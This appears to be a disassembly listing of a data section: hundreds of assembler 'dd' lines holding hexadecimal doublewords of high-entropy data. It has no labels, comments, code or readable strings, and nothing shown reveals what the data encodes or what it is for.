		dd 54FF2D1Ch, 3A0255FAh, 5E835835h, 4B76250Ah, 0DE842CF6h
		dd 0C1E400DFh, 800FD568h, 0F90D21BDh, 0B22B3152h, 3B535103h
		dd 3FC9FEDBh, 1825A582h, 12823B57h, 0B80AA918h,	24038F88h
		dd 5000076Dh, 59B7FBFh,	0CD163D5Eh, 643C596Fh, 0C409E100h
		dd 3A7F51BBh, 0C6F94025h, 20605AF8h, 300D4BA3h,	72BFB00h
		dd 3A8B8D25h, 2941BD95h, 0DF5E020Bh, 75451Ah, 68FC615Ah
		dd 693F16CAh, 0B7248C70h, 0F72BE49h, 0F2763C35h, 3080149Bh
		dd 23B1979Fh, 0B4C4F612h, 46B95F12h, 0F3DE8A12h, 0F6C74B20h
		dd 0ED48224h, 266EFBh, 0DE942BCAh, 0FCA46258h, 0EFE16049h
		dd 30F15BBh, 56B9414Ah,	28C19ACh, 9AC935B5h, 47743E26h
		dd 9853EE40h, 2FF7AD8h,	723B6FC2h, 0E87E54CFh, 3D33A440h
		dd 0BD7003Ah, 93237C17h, 78952694h, 1D0120FAh, 615F5B16h
		dd 80810BDBh, 2F5AC06Eh, 982E0E2Dh, 35209DE1h, 27E19811h
		dd 0B5C0305h, 0E9113071h, 0D89E6F46h, 0FDD214C2h, 2505EC75h
		dd 9D7BD2Bh, 5F407352h,	0D8807E21h, 0C825A8A0h,	48CA09BCh
		dd 3757CB28h, 8363024Fh, 585E714Dh, 0C4141C51h,	13CAEBC1h
		dd 0B5F99500h, 0A9827BB7h, 0CE7F2500h, 0FC178BE8h, 4ABF0A12h
		dd 59FFBCBBh, 7BA1ACF1h, 5628618Bh, 11FDCB0Ch, 0BF9882Eh
		dd 0C43F71F9h, 0C99FAEBEh, 26423780h, 0F65E7816h, 0DAEA8E85h
		dd 0AAD8D79Fh, 0EFC602ABh, 0AE296CECh, 9E009F66h, 0E26F5313h
		dd 99708B0h, 8B109660h,	558DCA7Fh, 0CBA19002h, 0F964045Eh
		dd 64D688BCh, 1BC7C076h, 6B00A6DCh, 505B5696h, 3CC484BBh
		dd 0A6D15426h, 742B08C5h, 41FDC132h, 0EE23A1Eh,	0BF6BD2h
		dd 3D706EF0h, 5B372EA9h, 0D30CC65Dh, 5A219FBEh,	0D737EF81h
		dd 0E7A779B6h, 9FF63376h, 31835FD1h, 4AE0214h, 9BF0D662h
		dd 4D9DEB37h, 27EB6A2Eh, 89035D09h, 0DC489766h,	49605B25h
		dd 0C90FE3h, 3518A3Ch, 0ECB36F0Ah, 293DF004h, 0D3BCFC1Dh
		dd 4E7BBED0h, 0B8DDB213h, 219448E1h, 0AE317D13h, 0F1BF2930h
		dd 987395EBh, 5BF610D8h, 0C9A9ED5Bh, 0A7B57BFBh, 0D2006135h
		dd 0B0877283h, 0D79212A7h, 12D0F833h, 0FBB8B97Ah, 0FF9909AAh
		dd 42E62CE3h, 1EC72580h, 185953D3h, 4F0B5C18h, 0FDD59E60h
		dd 0BD0BAA18h, 0B1F8154Bh, 903152A1h, 0CC51241Ah, 88028B30h
		dd 0DBBABFB3h, 0C1211A97h, 33A5CDF0h, 0CE25AFDCh, 32F5250Ch
		dd 0F4B48DEEh, 79F27709h, 5B644679h, 0F2BB797h,	0CEA02A59h
		dd 71BCE59Ah, 0D6C4F17Bh, 9644201Dh, 5B86B252h,	0FF010ABCh
		dd 0BEEA36D7h, 1D352A6Bh
		dd 0CCEA3784h, 0EC129014h, 28FAA21Fh, 891F6BB8h, 62748A48h
		dd 143709BAh, 46DEFC5Ch, 0C8C2001Dh, 0A1769463h, 538F12D6h
		dd 58B3F3ABh, 6A80DFB3h, 0BA4F56DEh, 5B54023Fh,	5F33CB7Dh
		dd 9908A565h, 0C4B70907h, 6DEBF05Ch, 990940FAh,	15276A14h
		dd 81251057h, 0D18D09BBh, 16D7AACEh, 6A44453Ch,	63874304h
		dd 0F6D3A9BDh, 0D8A6A09Ah, 1E85B4Dh, 9589DEECh,	0C64124ADh
		dd 956CBFh, 8A67B0C7h, 0B3799AEAh, 0C2989697h, 50E9FF46h
		dd 801C3DD7h, 9A19C9D2h, 0E317B2D6h, 1A069DF4h,	3BED018Dh
		dd 49A60953h, 615B8988h, 0E2B013DDh, 149F572Fh,	5B801D91h
		dd 0EBFFD1ACh, 21D3A604h, 28183BFh, 9002055h, 2F5AFDB5h
		dd 7E623CE7h, 90040BA1h, 7F808C92h, 4F003D14h, 37BE1E79h
		dd 0A896Dh, 5F9C52Dh, 0A0B182B3h, 315CC998h, 33CC7AC4h
		dd 48295ABBh, 5000B326h, 0FDE39DBFh, 9E909075h,	0F98205EAh
		dd 0AC4700DFh, 0DBFF811Dh, 6F92AF00h, 10CA744Bh, 0D4BB1EE2h
		dd 9D23C441h, 5FBCF0BDh, 479B6A4Bh, 4B5182C0h, 0F61E4D26h
		dd 0D613B6FEh, 890FCE43h, 572D0404h, 0AE5B03B7h, 2881B444h
		dd 42960F0Fh, 49BABF39h, 13DE3FDCh, 0E2A9DA9Dh,	0BA550182h
		dd 0F3213FEDh, 0AA414B25h, 6E2B05C0h, 0CF1902F3h, 0FCEDC475h
		dd 0F5BB6021h, 224873FDh, 9D1C22D1h, 0DD0BAAD6h, 1D21982Fh
		dd 0E57E16h, 82B194D4h,	0AE4D6EB7h, 0E4E64275h,	0C690612Ch
		dd 51251111h, 0CE508E10h, 0AC6B7B00h, 3A4EAE01h, 0E55B4AFAh
		dd 0E3E0ADB8h, 0E085FCA9h, 9BAE5452h, 23CDD75Eh, 809B02Fh
		dd 79E7739Dh, 0E3431916h, 0B8E8AD27h, 9069AA93h, 91B5C900h
		dd 0A0C5B532h, 4F601170h, 0B2CEC140h, 0C7B43BB1h, 0DCA4BED1h
		dd 34CC2B00h, 93D90A2h,	0E96D5E68h, 0ED9D847Ch,	8807CC88h
		dd 9F0492FFh, 0D583ABD9h, 5BC0CCEAh, 5E13149Dh,	32948D86h
		dd 4D022739h, 7D60C1C9h, 2046EF2h, 80031E61h, 0E8BCC7C0h
		dd 0EFB71613h, 0DD21EBBCh, 2EB7ADh, 0A43D4D77h,	0B5A1ADE6h
		dd 0E4E63BD9h, 8151B9B4h, 0FE97953h, 10F9CE2Bh,	5130BAC9h
		dd 5A1B5E4h, 0B45B6180h, 357CDCDDh, 0E848EF05h,	82AA2561h
		dd 0CEF51C24h, 44FBB0E4h, 811F5008h, 16F849D7h,	0EAB85B7Fh
		dd 9775F83Eh, 80845959h, 0DBBDFDD3h, 0AFAB297h,	0FCCD4951h
		dd 7BFE8A09h, 8DADBDADh, 8012E35Ah, 98AB9BCFh, 9D190B74h
		dd 0CB2307C1h, 0A924E07Eh, 0E65DFAAAh, 9817FDBh, 997F85Ah
		dd 16083E7Bh, 0BB660101h, 8AB0B1FDh, 0E1ADBD7Ah, 84405CA7h
		dd 1647B8D3h, 5708A1C2h, 9F35899h, 0CE063A14h, 228D0B39h
		dd 8B270287h, 42435ED9h, 565E1211h, 0A8DB81C0h,	353F2C57h
		dd 54C225EFh, 80614E56h, 102FBAF7h, 0F110935Bh,	0C82B0002h
		dd 7CDBDBFh, 0D18B030Ah, 10919D29h, 71A0ED2Dh, 4E1E91F3h
		dd 8C1017AFh, 30000F06h, 0E943B70Dh, 0B2B5155Dh, 6076B2Bh
		dd 24974DCCh, 0F7541A55h, 5F209918h, 82A8AD9Dh,	23DD60E9h
		dd 0A578FC19h, 0DC62B57Eh, 3D2FF8Dh, 0EC25175Ch, 2B424544h
		dd 3D3B1120h, 2A00AF2h,	161FA583h, 1AFB2FEh, 7AD72360h
		dd 0F3707210h, 0A8960288h, 0C72A6F4Bh, 40199AFDh, 8214BD16h
		dd 8911DB62h, 0C04AF329h, 9DA083ACh, 0CDBD4938h, 0DD62E022h
		dd 53248C51h, 0EA253756h, 0EF3D7559h, 4E70C82Dh, 1E0E2D83h
		dd 93D6955Ch, 61738143h, 6E103CB9h, 0C280AD9Eh,	8BDB709Ch
		dd 0D0C4F94Bh, 64119180h, 0BDECED5Ch, 40F9D95h,	51BB1781h
		dd 90B36A69h, 5600E542h, 2EF7E3A3h, 3A00AEF5h, 6216C0DAh
		dd 4A2FFC02h, 0E04EF7BAh, 97D1A80Ch, 8BE6EB6h, 0A04613D4h
		dd 8342BE16h, 0F5880DFCh, 84805D3Dh, 73620118h,	4AF82598h
		dd 0B5D90110h, 5F879700h, 1549BFCFh, 0C93F77B7h, 497BDA7Ah
		dd 5F960A0Eh, 0A712563h, 805A1F7Ah, 4C559BA5h, 0CB13896Ch
		dd 42E6FC4Fh, 15413CE2h, 48B81489h, 0E3A8B8A7h,	0EC24F525h
		dd 18899D27h, 916CB555h, 0CBC08019h, 5B1E3E94h,	0C417A115h
		dd 0E152FFF7h, 0A1BD09B5h, 70F15C31h, 0BD95042Bh, 6BA2022Fh
		dd 4E60B315h, 1C970551h, 41442EDh, 0E53DF381h, 0CCA2EEB8h
		dd 25952921h, 0E996AFACh, 4D95D058h, 0DEFEC0C4h, 0F217A002h
		dd 885244E5h, 0E978DDB1h, 46BE1F80h, 0F00A015h,	0E3278E4Ch
		dd 5494FB9Bh, 4BF0AC5Bh, 0D0D492FAh, 0DA7FDF11h, 0C01DC8DEh
		dd 0E34E49E0h, 0CFF13002h, 0E9217CDDh, 0C1042B78h, 2F183D58h
		dd 0F1040174h, 968390FAh, 0ABEA5FBh, 45040Fh, 318EE781h
		dd 0BB00542Ah, 4AA61B23h, 25755A68h, 0C2702466h, 11C3764Ah
		dd 0DC79ABA5h, 0A7E066F6h, 4031CF3Eh, 9C586E3h,	2EBF8A2Bh
		dd 0EB621685h, 25905CD6h, 4F6E6F4h, 71FB26D1h, 90ADB8F5h
		dd 241D1297h, 204AADE7h, 51B4D004h, 4E7DCCFAh, 0B4855B4Bh
		dd 9B08AF7h, 0B3019FACh, 0BC12739Ch, 122EF574h,	0ECAAA9B7h
		dd 0D5EE0DB1h, 2B4E88F2h, 0D1E9B912h, 0D0001BE8h, 0D28372A7h
		dd 15B75662h, 0BE895F82h, 0E6E82FE9h, 0FB509C4Fh, 799D010Bh
		dd 0F837D525h, 547130A7h, 152B00F1h, 0FBB08BF3h, 6609D5ABh
		dd 82D937BFh, 75286118h, 0CF9445CCh, 33FC00D4h,	66605015h
		dd 0FF3D82B9h, 2461AFB4h, 92278622h, 29293D8Dh,	52E1567Ch
		dd 0D7A83598h, 7BE0A91Fh, 30FE81D6h, 5BDA8A43h,	3FAE6800h
		dd 5051BD45h, 74DBBF52h, 0C3251ACh, 0B980D75Fh,	42D9C451h
		dd 1B8379Dh, 2A7A07Dh, 0EDD1424Fh, 8D0B96D4h, 76BFFD85h
		dd 0CCEEFC93h, 461EBF50h, 5056F3F0h, 0FC0011A2h, 2CB086FAh
		dd 0AC00B985h, 0D3CB5DAFh, 1FB56AB4h, 17DD1DAh,	9D239074h
		dd 0DCF22A2Dh, 7A45A096h, 61FCB416h, 0ACB8F0BDh, 0B17B82Ch
		dd 5248F90Ch, 7D2605F7h, 0EAF18D29h, 6A5E0ADEh,	5175016Bh
		dd 0F9BAC554h, 50CB282Bh, 0C2A92AD2h, 0AF0046BCh, 0A08C7017h
		dd 2F5F501Ch, 49BD42E9h, 6416BA80h, 0FC2912EEh,	0C54B4E5Ch
		dd 0B23AAB5Ch, 0A9F9BFF0h, 661AF801h, 616403BEh, 9F57DB2Ah
		dd 0C2FDBE45h, 232564A8h, 0FC122A71h, 2A88DAE2h, 0CB0B608Fh
		dd 8E265429h, 3110C58Dh, 10850E61h, 9CF382Fh, 0DBAE42D2h
		dd 22A1809Eh, 2DB46EACh, 7B905287h, 8507E3F9h, 0A18C1FB6h
		dd 0C8C48323h, 0E6E1BA6h, 0BF52C069h, 24A92581h, 49F26F5Fh
		dd 0DD4AFF91h, 0A36A2AD9h, 662D7E0Bh, 49595389h, 7827DB25h
		dd 8912C0D3h, 63BDF5C7h, 0A06FB6D2h, 112CB16h, 41A6F984h
		dd 30DB6409h, 2C4BFDEBh, 12935EF9h, 84151D04h, 0AE32F9BCh
		dd 0DA472A6Bh, 0DBA38E00h, 3250583h, 9B25C6B8h,	8D17EE49h
		dd 0F06062B6h, 46D6FC5Ch, 617F1618h, 0B63048E1h, 0A281634Bh
		dd 0CBA9CC92h, 4226D097h, 5A4C73B5h, 255B55h, 0B529FE4Ch
		dd 739D2A05h, 0EE8B93BAh, 0C5CD8A74h, 129C0530h, 12102F39h
		dd 79CDB12Dh, 915B830h,	0A370D4DCh, 0F4C5E970h,	1DBE441Eh
		dd 817B65EEh, 276120B1h, 19006F66h, 0BE8F8BE0h,	0EF0042B6h
		dd 1A8292E8h, 279D872h,	0EACB4E61h, 0C25C5B71h,	3F09AB68h
		dd 344F743Bh, 8D8604BEh, 0C2C8AD1Dh, 7F01CF80h,	805FC232h
		dd 440B4BEDh, 0DF53922Ch, 1EAF549Ch, 3EB3608Bh,	655561BAh
		dd 117B2570h, 6C89CE51h, 8D713C96h, 0DEEA5644h,	0B25EC1C7h
		dd 23F87F7Bh, 0A9D4BBDh, 1497967Eh, 0BF03D26Bh,	0ACB5783h
		dd 0C0F1DBDCh, 0E3498F2Ch, 0DDB0915h, 0F75CDE8Bh, 22A70055h
		dd 54680A82h, 7C342EE9h, 1CC04EC7h, 328B6EDAh, 6119419Dh
		dd 49F015DDh, 0C4168B5Dh
		dd 4DD497EBh, 0B0CBBC60h, 698225BBh, 0F6B39FC4h, 0B73AD6D1h
		dd 23F696D0h, 0F398D7A3h, 0FB096DE9h, 0B4C5B6h,	8B01EF2Bh
		dd 0D459B5FAh, 95297154h, 0C65A7944h, 0A1A08BE7h, 0C5E8D0Fh
		dd 3D6CAB29h, 9B09EED3h, 0D09ED518h, 0F9E6909Dh, 1E87E38h
		dd 0AD9E6804h, 6A39DF43h, 40130F4h, 0E9C0A646h,	59E8B8D1h
		dd 70BCEAh, 0F16911EBh,	0E2DC9B26h, 0B7C18B2Dh,	0F76900E8h
		dd 0DE6CABE4h, 0EC7EA032h, 9602293Dh, 0CD5C01B1h, 0B880FE1h
		dd 45899448h, 13083C05h, 0A3088AB3h, 45428109h,	89049D16h
		dd 55268322h, 0D9BD6FA1h, 6920090Bh, 663C9C87h,	0E11752C9h
		dd 0FB12E8EBh, 0C7C0E6DBh, 7F118962h, 0D3CD1A05h, 60ECFE36h
		dd 6965B083h, 8C9CC0E4h, 669757E7h, 567C609Dh, 0A622E3E0h
		dd 2DE6241Fh, 0BC4B97C2h, 0D481577Fh, 7749CA3Dh, 0D531A01Bh
		dd 1749092Bh, 0AA70A49Ah, 0DC59D697h, 0E880EBBFh, 27593D60h
		dd 4C055390h, 218CFB50h, 97F87E8Bh, 0F1700E7Bh,	99D1093Eh
		dd 57482CCh, 145B27F4h,	6A2111F5h, 0F246E66Bh, 2064FDE4h
		dd 7AD03809h, 0AD845D43h, 0B5B3B81Dh, 0E06AAFh,	12E2B1F4h
		dd 13395415h, 4B93B8Ch,	0B903CD41h, 9589C2A6h, 4A7472E9h
		dd 0F636ED1h, 407CD906h, 18297ED1h, 9EFC4CACh, 0A8DA0F39h
		dd 0CBB7A044h, 0FFD5096Dh, 89557BCFh, 4E7F5933h, 0F814F937h
		dd 0F6DF01DAh, 6AF90A58h, 0F2DD6102h, 0E8615E42h, 9AF2931h
		dd 750BFDBFh, 30815EBDh, 870F233Ch, 765B29C2h, 50A053AFh
		dd 4B25CC70h, 40F37053h, 74AE92Eh, 47846CF3h, 16009CAh
		dd 615BEAA0h, 0D74B206Bh, 477892F7h, 0B6562702h, 5D81C7AAh
		dd 611DF490h, 0C5FBCA00h, 0F11F91A7h, 2249009Ch, 0C8E10984h
		dd 1A975F58h, 9D50F879h, 2D4751Ah, 0D3B73184h, 0C84A53ECh
		dd 22000268h, 5F4E564Fh, 258D2990h, 5C792489h, 972C7B4Bh
		dd 0A55402DEh, 0EED54523h, 86BF040Eh, 0B8652A5Ah, 54B8D67Fh
		dd 0C836809Eh, 0A6EF2097h, 0B54A6F62h, 815B0210h, 370E74C0h
		dd 0FF5B6AE6h, 7800686Eh, 0FB16BB14h, 0D3E42D81h, 3FA6BE65h
		dd 2C85A9C1h, 0CB091969h, 0B1737714h, 0C24B1211h, 6055B0DFh
		dd 8002F136h, 95F070E6h, 9012114Ah, 166C48ABh, 0E16008A6h
		dd 26C438Ch, 939A4496h,	0D182ECBDh, 5F04090Dh, 0D921C7B9h
		dd 0A8048E08h, 6389258Bh, 0C404BDC3h, 4AC42D47h, 0C7C0BDB8h
		dd 4F5C9B56h, 5CF99283h, 0FB6013BFh, 0EB0CDD0Ch, 728812BAh
		dd 2BC2E161h, 0EE0387C8h, 8DDC007Ch, 4EC0625Ch,	51049434h
		dd 0C82B7065h, 8D8210BDh, 8B02212Dh, 20F17DD1h,	2777E90Dh
		dd 124CD62h, 4A116E1Eh,	0D7F5C9C2h, 18242199h, 9D018812h
		dd 49222D42h, 2C8C0F28h, 0C28DFC4Bh, 40F13760h,	9D120329h
		dd 0C8E6125Dh, 0BF3B2722h, 2F28127Fh, 112C3E6h,	6FD7FE95h
		dd 5028346Ah, 57A452F1h, 564C42DFh, 48D9C2ADh, 0FCE78100h
		dd 4F577721h, 0D66BBC6Ah, 8C3420ABh, 8E3AA7CCh,	799DCB48h
		dd 0D8A8B46Dh, 0B9F8607Dh, 3D100825h, 0C650145Fh, 2052D10h
		dd 0F5B682BFh, 0D59F894Ch, 0CE8329B7h, 0F8A81B18h, 160668F7h
		dd 0ACFC1CD7h, 0C02B1DB0h, 0A71D9101h, 9F7ABA77h, 896D8149h
		dd 1725299Dh, 0F461B77Ah, 210005B6h, 5FB4A632h,	0F39F5852h
		dd 7EE70CFh, 60914E00h,	0F9675CC0h, 0F7884B0Dh,	1680B034h
		dd 589B0122h, 2698E179h, 1BCD3E0Ch, 0FC37B92Bh,	71871DE9h
		dd 72F6042Ah, 4AC0B9BCh, 418F47DEh, 0A106BBC1h,	2B4B65C6h
		dd 0F65BE42Fh, 0FCA2B0B7h, 0F36DBD4Fh, 0C01F5AC0h, 11B95865h
		dd 3A1BEB09h, 4249E271h, 0E25BEDEBh, 336019DBh,	8BC2269h
		dd 118BD5A7h, 46D45D5Eh, 0E6612514h, 10315C1Eh,	9D40093Bh
		dd 1DD92BEBh, 98C00E5Ah, 0BB918B52h, 9E6B7D12h,	9D8C1EF2h
		dd 4FB80153h, 0FF8E1F4Bh, 0BF27A530h, 0EE25892Dh, 3BFFC542h
		dd 2B3A61C5h, 22E16A13h, 652E20F1h, 0A8F7ADFEh,	55C1097Bh
		dd 0F970152Ah, 0DC0A96h, 88A506F7h, 6284CD85h, 81D6581Fh
		dd 0E0FB4302h, 920C5E0Bh, 0FE7BAAE8h, 505B4825h, 0A9844ABBh
		dd 0C836DAAAh, 8040C014h, 70BDC6DBh, 1D086490h,	0DA39AC51h
		dd 8AC07744h, 0DB6F99Dh, 0C8BA2344h, 6801F54Dh,	533369F1h
		dd 9449890Fh, 4A17FE91h, 19C4CFCh, 0F55A66D9h, 0A6409C32h
		dd 6198F280h, 25E6C3BFh, 3FE08DC2h, 2C276A0Eh, 0BE7AC653h
		dd 15BFC1FDh, 12E66A79h, 0E6B21CB2h, 0B0DC6BC0h, 9A74A23Bh
		dd 7D546505h, 0BD0BA968h, 1348914Ah, 24C6A5E0h,	0BB9E9A0h
		dd 79F85B95h, 2FB21816h, 0CAE12EE9h, 8B600133h,	40FFF27Fh
		dd 9DC959C6h, 892A7961h, 0EB6476B3h, 7C35A607h,	47F0DAD9h
		dd 0BDBEBA6Ch, 82100473h, 0C52E2D94h, 98D74983h, 6E6305h
		dd 1DCB07E1h, 3F2B13D6h, 3CEC9F04h, 97E838DFh, 0E402BA80h
		dd 2900F714h, 6E83EE37h, 0BF88D2C1h, 5FE19FE0h,	126B5B9Dh
		dd 3ED0E1F8h, 4642D98Dh, 40601188h, 8BB77DF2h, 0BE94D84Bh
		dd 32E054F6h, 4875CBB4h, 6F82B901h, 2F45BD01h, 4EB68B6Bh
		dd 0D580289Ah, 521E45FAh, 89CEC112h, 68D920BEh,	0D7027E14h
		dd 43B7515Ch, 0EB6F485Bh, 98C87B7Dh, 0BD8D4E71h, 0E2C2FD1Ch
		dd 0F2FA79h, 4CA2581Eh,	94AE27D3h, 0B2E1131Dh, 0DC840701h
		dd 126B90F5h, 0F65A8882h, 0F49D4602h, 41DA8FE7h, 0E33E8D10h
		dd 7AE95E98h, 0B6D0A402h, 82D75A7Ch, 74905F5Fh,	0C1BFDC65h
		dd 71DA3715h, 84DB008Ch, 5E6BBD60h, 0D641572Fh,	0B95F1268h
		dd 0F6E9D2EBh, 0E90031A8h, 1A7075E3h, 9DD445B8h, 0F332B870h
		dd 5C5F809Bh, 2BFC59F0h, 0B209CB29h, 0C8614D47h, 138122E9h
		dd 95ABBB56h, 2B5BF9CCh, 7DE97A8Eh, 0B38A88Eh, 98DD53A9h
		dd 5901C559h, 0AC1D99B0h, 16B4F6F4h, 0AF9D036Fh, 0B35B2742h
		dd 50935C24h, 7195050Eh, 0D901C7F4h, 1BD05B7Bh,	836B00B0h
		dd 0B6A87B15h, 0BF00FC84h, 79279195h, 281F860h,	0B4AD0BD8h
		dd 0CD5F612Bh, 631B6439h, 6EE09F1Ah, 4A47413Ch,	12221FF0h
		dd 0C69AAAD3h, 0C7A26097h, 0FB171280h, 31E8794Dh, 5312EF4Eh
		dd 0AD01C4EAh, 3D9EEC3Bh, 830BBDC9h, 3557E3FAh,	60149248h
		dd 0BB9692EDh, 7C07E876h, 0CCB35056h, 153F889Ah, 4AB65189h
		dd 877AAFh, 15168D3Eh, 4BB3DF8Bh, 2B919DEDh, 620B3A6Ah
		dd 0E40E6886h, 5F253248h, 0D1BDBD18h, 0C0F7115Ah, 1D229C58h
		dd 803979B7h, 0FF2EA1DEh, 0BC25C56Eh, 0DC80D751h, 1D68D90Ah
		dd 4004A572h, 61CA8BA1h, 18AC99B9h, 4C213C8Ch, 0B71279BAh
		dd 498DEB15h, 87294341h, 18AC0E39h, 2873058Ch, 0FE9FD14Ch
		dd 0A2BDDA83h, 45F0B02h, 0B9160B23h, 0BC7E593Fh, 9A9E125Fh
		dd 7294AB8Bh, 0A85EBFACh, 2A7A55E7h, 14C887DAh,	8C02B0C5h
		dd 5CB165E3h, 99D769BDh, 0B93B6A4Ch, 7580B835h,	1700091h
		dd 0D122648Ah, 9412B4BBh, 98AA369Dh, 5CFADBB6h,	0DDE13297h
		dd 0D19F9CE4h, 13601F52h, 61A082CBh, 0E80E91D7h, 0F9266D40h
		dd 0F8AB07E0h, 40DDF3E7h, 9F56AED9h, 191FBD70h,	3492C2D3h
		dd 7C6460F1h, 0B5519D5Bh, 46600454h, 0BF5107D7h, 0D90034E2h
		dd 57006D8h, 0FD006FF4h, 0E1738149h, 974D5212h,	1D9134B5h
		dd 97323880h, 61EDF2Ah,	11D2ADDDh, 8A4B3AACh, 0F390273Ch
		dd 0F06AD881h, 2F68AB02h, 55A40F88h, 0A619EA10h, 1F4FE100h
		dd 0E60716AFh, 37C3009Eh, 0CF444D8h, 0E84A22DAh, 5FC43CFBh
		dd 565C96E2h, 4C981725h, 0BF831A12h, 0C1B2F453h, 36B79627h
		dd 0C929861Fh, 0ABF9B380h
		dd 3873FE3h, 997C7577h,	73B8CBC1h, 0B848B72Fh, 0BE9F5A06h
		dd 1268D882h, 2F2D79C8h, 0DEDF7E95h, 753A6B07h,	0D9CB7E41h
		dd 0EE299280h, 60EB9A13h, 27F93757h, 78E9640Bh,	895AD953h
		dd 37DE0F6Ah, 4666C27h,	0B04652BBh, 4F80BC25h, 7B1C7AAFh
		dd 6075530Eh, 0C4FCF284h, 358B0BD2h, 0BF12CC72h, 95F2D06Ch
		dd 79A75A88h, 7C7D0094h, 11598741h, 77CDAF4Bh, 95B87910h
		dd 0E30B00F3h, 7A1299DFh, 0E50E690Dh, 7F657289h, 64A959D2h
		dd 0C667B70Bh, 63472C4Fh, 0E990C7C0h, 0F56D2CB6h, 9BADBA2Ah
		dd 75E9D179h, 4E0FD4B5h, 387520A3h, 98DF90F4h, 19352053h
		dd 5CF3E92Dh, 0EE4D2F2Dh, 4D7100CEh, 51DBF07h, 8B439177h
		dd 0E482A6C1h, 0FE0175EFh, 0B080D337h, 9707B950h, 9D897698h
		dd 2E832EBh, 811BDFBBh,	0F670567Ch, 0E8080B17h,	85E460EBh
		dd 95880981h, 0E2245A49h, 9F95FB1h, 16FE8Dh, 0AD4217EAh
		dd 43B06861h, 877A49DAh, 12217436h, 0F77CC7AAh,	9016C815h
		dd 0CB2330BBh, 8B043AB9h, 0A9E54939h, 61C1B581h, 0D6E3022Bh
		dd 2BCD90F0h, 0CB46FCE0h, 0ACA50262h, 1DF1BD03h, 3BB36883h
		dd 8D010804h, 6FAE119Dh, 1D2385h, 0A7E527B0h, 710934F1h
		dd 5CFFCB59h, 24CDEB72h, 60DBE240h, 0F6C114AAh,	0D80FBF9Ah
		dd 975DD1FFh, 0CCB0248Dh, 81005D2Ah, 7D20953Fh,	7BAA32h
		dd 0B011A037h, 0DF217341h, 3FC3775Eh, 6163D9E7h, 0B7D4282Eh
		dd 0CF6ABBEh, 0ADDF8058h, 6A2FDEACh, 0C0AACD02h, 0ECC95FB1h
		dd 2EEAC609h, 1C46F172h, 52204344h, 2DF80923h, 0F204D149h
		dd 6050834Ch, 0CF205FB9h, 7D8261F0h, 13D42B0Bh,	199758DEh
		dd 0F64E1200h, 0DBB70F79h, 7609BA97h, 3707D4EDh, 4076958Dh
		dd 16E9AA11h, 4D06382Fh, 21AFAD90h, 8E6F549h, 23C1B702h
		dd 0F709E19Dh, 0D140FDEFh, 1638ABA0h, 946DAh, 0F52ADB61h
		dd 739D073Ch, 181459B1h, 0E8906441h, 0E5BD4207h, 0C25DD85h
		dd 7AA2AE57h, 0E1CA5B38h, 0C9B628C5h, 0CF47791Dh, 0F4AF0CC8h
		dd 780269D4h, 4A5E2A0Dh, 90D78150h, 1AF22D26h, 1559587Bh
		dd 60137918h, 33B6FF6Ah, 779671E0h, 78D93A00h, 2D63EF23h
		dd 4F0FE260h, 4CA84h, 0D68D7E4Dh, 77D2FC3h, 2EADCB77h
		dd 66D360B3h, 432532ACh, 6290FFBAh, 955C6A94h, 0B165076Fh
		dd 4112F901h, 9D6E781Ah, 93EE7F4h, 57260995h, 1144AA94h
		dd 0A2C33981h, 0B0148D8Bh, 0B680F55Ch, 0B770E65Bh, 400BB6EEh
		dd 0D1339884h, 74A0B400h, 9D0357C9h, 2FC49AF1h,	845E5F5Bh
		dd 0D16E7C42h, 0BD0D00F5h, 0CEAF47B6h, 7732581Dh, 19B019D7h
		dd 0E43FD218h, 0FC8AC493h, 0B8BD3466h, 1456318Fh, 0EA04078Dh
		dd 51004EB2h, 0A9F5B3BBh, 7ABD5B26h, 4FD3108Ch,	2B08934Ah
		dd 8FC22521h, 2228AC8Eh, 0A868F430h, 2B4E12F9h,	49DA9C8h
		dd 7BE9FCD1h, 0D700AFE2h, 89BF751Dh, 7C5C195Fh,	0B7042CD8h
		dd 4A06DF66h, 35A8BDF8h, 20AEE49Dh, 92F381A5h, 6A881216h
		dd 0E279BE09h, 9E5B5505h, 2CF16A30h, 0E9731218h, 0BD97373Ah
		dd 8C602E33h, 97044D9Dh, 4D1F86B1h, 2BD42FA5h, 0F98987B9h
		dd 260A708h, 22E1B509h,	0F62B9457h, 615E9F58h, 0A3E327DEh
		dd 0F5AC9790h, 3A1FF40Eh, 5E516131h, 0FBDC89BDh, 957D02D5h
		dd 0E5C24E66h, 4186CFF7h, 3F4595F2h, 8D4B0CB3h,	806278C2h
		dd 0A4B75839h, 402F0F90h, 0A5C29883h, 8B84EF3Ah, 5F6C9011h
		dd 0F70C9B9h, 0DE119Eh,	2A1BE2B0h, 950265FBh, 0EF1155Bh
		dd 42BC1C2Eh, 719DF1BBh, 8DA202FDh, 0C02B032Fh,	92ED8872h
		dd 75E6D211h, 871FFBE5h, 7FAE1753h, 1A23EEh, 919802A6h
		dd 0EE13450Ah, 39B2D88Ah, 4B7C79h, 6FB5A1C7h, 0C8C389F4h
		dd 144EFA71h, 30E04BB6h, 0A401BFECh, 43025398h,	0B2E0664Ah
		dd 95209C2h, 9ADCC19Dh,	80BCC4A5h, 9F325DA0h, 89E054Eh
		dd 5578E609h, 6C4915EDh, 0CF910F08h, 41A9D77Dh,	46767679h
		dd 2A03E14h, 0CC2BBBF7h, 80A1B73Eh, 0B7F0863Ah,	0A7E4D64Ch
		dd 0BB660E04h, 7CBC74DEh, 4E5E93A2h, 89EA1CF6h,	9DC96A85h
		dd 0ECBF78B1h, 6AE1B81Eh, 9D2B618Dh, 0DF735A84h, 0BE742F02h
		dd 0E9FD41CDh, 0BD8D2910h, 86342FE9h, 8FA8C5BDh, 0CC0E64FEh
		dd 0A490939Fh, 0C6C1BAB0h, 0CE2B32F5h, 63E732ACh, 2D91DC51h
		dd 9071E0A9h, 156ED44h,	0AA1F26CBh, 91282F68h, 0F72FE9A4h
		dd 33DFA007h, 0B4BC628Eh, 0F60B28B5h, 0F1F89239h, 0E02E76AFh
		dd 5A3792Ah, 0EA68C0ECh, 80E4B870h, 0D9C3A8DEh,	2585F817h
		dd 0C0E25797h, 8873825Bh, 25807597h, 2E926CCBh,	0F90025C4h
		dd 5031E521h, 4B0FED8Ah, 0FCC8D233h, 7681F524h,	0B63A7715h
		dd 0D4B52D83h, 2AB7895Eh, 8085B379h, 0C48068DBh, 4FEC643Dh
		dd 0AEA358h, 0A42196A3h, 0AAA0CAh, 0BEAB4E81h, 8FA84A3Ah
		dd 45BF6EC2h, 0FAF95D01h, 1B14EF2h, 93D0E77Fh, 9EA130B3h
		dd 6A9371C2h, 4AF330A6h, 5BDAD003h, 9B6830FCh, 56D6C160h
